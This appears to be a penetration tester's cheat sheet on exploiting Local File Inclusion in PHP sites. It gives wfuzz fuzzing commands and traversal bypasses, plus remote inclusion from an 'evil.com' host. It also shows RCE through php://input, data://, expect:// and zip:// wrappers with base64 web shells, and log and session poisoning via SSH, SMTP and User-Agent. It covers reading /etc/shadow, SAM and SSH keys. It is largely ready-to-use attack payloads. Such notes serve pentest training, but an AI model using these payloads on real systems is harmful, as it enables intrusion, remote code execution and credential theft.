Local File Inclusion

Fuzzing with wfuzz

A Detailed Guide on WfuzzHacking Articles

The key is taking a look at unusual responses and filtering them using -hh, for example in this case most responses had a character count of around 300 characters on average, so whenever one would pop up that had 13000 it meant that the content was being displayed.

This also gives us a hint on how the Local FIle Inclusion is working.

Windows

Reference this list for LFI so we can get creds for other services around.

wfuzz -w /usr/share/wordlists/wfuzz/vulns/lfi-windows.txt -u http://192.168.242.53:8080/site/index.php\?page\=FUZZ

Linux

wfuzz -w /usr/share/wordlists/wfuzz/vulns/lfi-linux.txt -u http://192.168.242.53:8080/site/index.php\?page\=FUZZ

The guide above should help you depending on how the website reacts.

Look for files associated with other services around that could give you access.

• /etc/passwd and /etc/shadow

• /home/user/ssh/id_rsa and change persmissions and ssh

• Look at services around for example filezilla stores creds for the server ftp server in cleartext.

LFI + TOMCAT

Look at the version of tomcat and depending on its version we can gather credentials for the manager site and gain rce by uploading a war file.

By transversing to: /usr/share/tomcat9/etc/tomcat-users.xml

We were able to gather credentials.

LFI + Redis

REDIS Exploitation | Methodologylyethar.gitbook.io

Try to enumerate where we can load files using redis, make a php reverse shell or any sort of code and we can easily use lfi to execute the code we wrote.

LFI + Filezilla

Using the reference list above we can gather credentials for the Filezilla FTP server.

Bypassing Tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd

Null byte

This was patched since PHP 5.4

http://example.com/index.php?page=http://evil.com/shell.txt%00

Double encoding

http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

From existing folder

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Wrapper php://filter

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

RCE Methods

PHP Wrappers

Wrapper input://

curl -k -v "http://example.com/index.php?page=php://input" --data "<?php echo shell_exec('id'); ?>"

Since we have code execution all we have to do is make sure that we get a reverse shell using different payloads from Payloads of All things.

Wrapper data://

echo '<?php phpinfo(); ?>' | base64 -w0 -> PD9waHAgcGhwaW5mbygpOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pgo=

Or 
menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
If code execution, you should see phpinfo(), go to the disable_functions and craft a payload with functions which aren't disable.

Code execution with 
	- exec
	- shell_exec
	- system
	- passthru
	- popen

# Exemple
echo '<?php passthru($_GET["cmd"]);echo "Shell done !"; ?>' | base64 -w0 -> PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=

If there is "Shell done !" on the webpage, then there is code execution and you can do things like :

http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTtlY2hvICJTaGVsbCBkb25lICEiOyA/Pgo=&cmd=ls

http://example.com/index.php?page=expect://id
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Wrapper Expect://

http://example.com/index.php?page=expect://id

Wrapper zip://

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

LFI to RCE via controlled log file

Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.

http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log

RCE via SSH

Try to ssh into the box with a PHP code as username <?php system($_GET["cmd"]);?>.

ssh <?php system($_GET["cmd"]);?>@10.10.10.10

Then include the SSH log files inside the Web Application.

http://example.com/index.php?page=/var/log/auth.log&cmd=id

Via vsftpd logs

The logs of this FTP server are stored in /var/log/vsftpd.log. If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI

RCE via Mail

First send an email using the open SMTP then include the log file located at http://example.com/index.php?page=/var/log/mail.

root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: [e-mail]
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.

In some cases you can also send the email with the mail command line.

mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null

RCE via Apache logs

Poison the User-Agent in access logs:

$ curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"

Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.

Then request the logs via the LFI and execute your command.

$ curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id

kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

HTTP/1.1 400 Bad Request

Reagardless we are still able to access the C:\xampp\apache\logs\access.log and execute the shell.

LFI to RCE via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/session/sess_[PHPSESSID] files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

LFI to RCE via credentials files

This method require high privileges inside the application in order to read the sensitive files.

Windows version

First extract sam and system files.

http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system

Then extract hashes from these files samdump2 SYSTEM SAM > hashes.txt, and crack them with hashcat/john or replay them using the Pass The Hash technique.

Linux version

First extract /etc/shadow files.

http://example.com/index.php?page=../../../../../../etc/shadow

Then crack the hashes inside in order to login via SSH on the machine.

Another way to gain SSH access to a Linux machine through LFI is by reading the private key file, id_rsa. If SSH is active check which user is being used /proc/self/status and /etc/passwd and try to access /<HOME>/.ssh/id_rsa.

Examples of Local File Inclusion Exploitation

https://app.gitbook.com/s/C01qT6YExS9JZIncykrV/exploitation (Slort PG)

Resources

Page not found - HackTricksbook.hacktricks.xyz

PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThingsGitHub

Web | Rowbot's PenTest Notesguide.offsecnewbie.com

OSCP personal cheatsheetliodeus.github.io